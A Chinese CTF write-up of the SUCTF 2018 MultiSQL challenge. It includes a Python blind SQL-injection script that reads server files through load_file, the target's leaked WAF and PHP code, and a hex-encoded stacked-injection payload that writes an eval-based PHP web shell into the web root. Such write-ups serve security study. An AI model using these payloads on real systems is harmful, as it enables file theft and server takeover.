CTF Web安全

[SUCTF 2018]MultiSQL(sql读取文件+写入文件)

Posted on 2020-03-12,3 min read

首先。还是扫目录。。了解下大概的功能
注册登陆后。有两个功能。
一个是用户信息。输入2-1。返回的是id为1的信息。存在数字型注入
一个是上文头像。然而绕不过去。。
先对用户信息fuzz下。看过滤了啥

加上单引号就空白。估计是ban了。这就很难受。不能有单引号。输入sql语句。如果报错也是空白。正则。也是空白。

0^(substr(1,1,1))
#空白。可能逗号或substr被过滤
0^hex(1)
#hex没被过滤
0^(length(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))>1)
#读取/var/www/html/index.php。发现可以读取

在做CTFSHOW的时候。只要是sql题有注入。都可以直接load_file盲注flag。。。
这里尝试读下文件

import requests
cookies = {
    "PHPSESSID":"fg4kp97ksielnvnssv53iul2s6"
}
data='0x'
flag=''
r=requests.session()
for i in range(9999):
    for i in range(1,127):
        #print (i)
        url='http://e70a6fd4-f987-4651-9aa1-4bfd134e9a59.node3.buuoj.cn/user/user.php?id=0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
        result=r.get(url=url,cookies=cookies).text
        if 'admin' in result:
            data+=str(hex(i-1)).replace('0x','')
            flag+=(chr(i-1))
            print (flag)
            break
print(data)

脚本运行时会有点问题。重新运行就好了。不知道为啥。估计429吧。
读取index.php。发现包含了bwvs_config/config.php和waf.php
读取下waf.php。得到

function waf($str){
		$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
		$str = preg_replace($black_str, "@@",$str);
		return addslashes($str);
	}
	

继续读user.php(存在注入的文件)

if(isset($_GET['id'])){
		$id=waf($_GET['id']);
		$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_id =".$id;
		$data = mysqli_multi_query($connect,$sql) or die();
		
		$result = mysqli_store_result($connect);
		$row = mysqli_fetch_row($result);
		echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>注册时间:".$row[4]."</h3>";

mysqli_store_result这个函数。会存在堆叠注入。会过去看看正则。没过滤set。prepare。execute。可以用hex编码sql语句。然后堆叠注入
之前还有一个用户头像上传的地址。有写权限。那就可以利用堆叠注入。直接写shell。

set @xx=0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare x from @xx;execute x;


写入一句话getshell

下一篇: [RootersCTF2019]ImgXweb(session伪造)→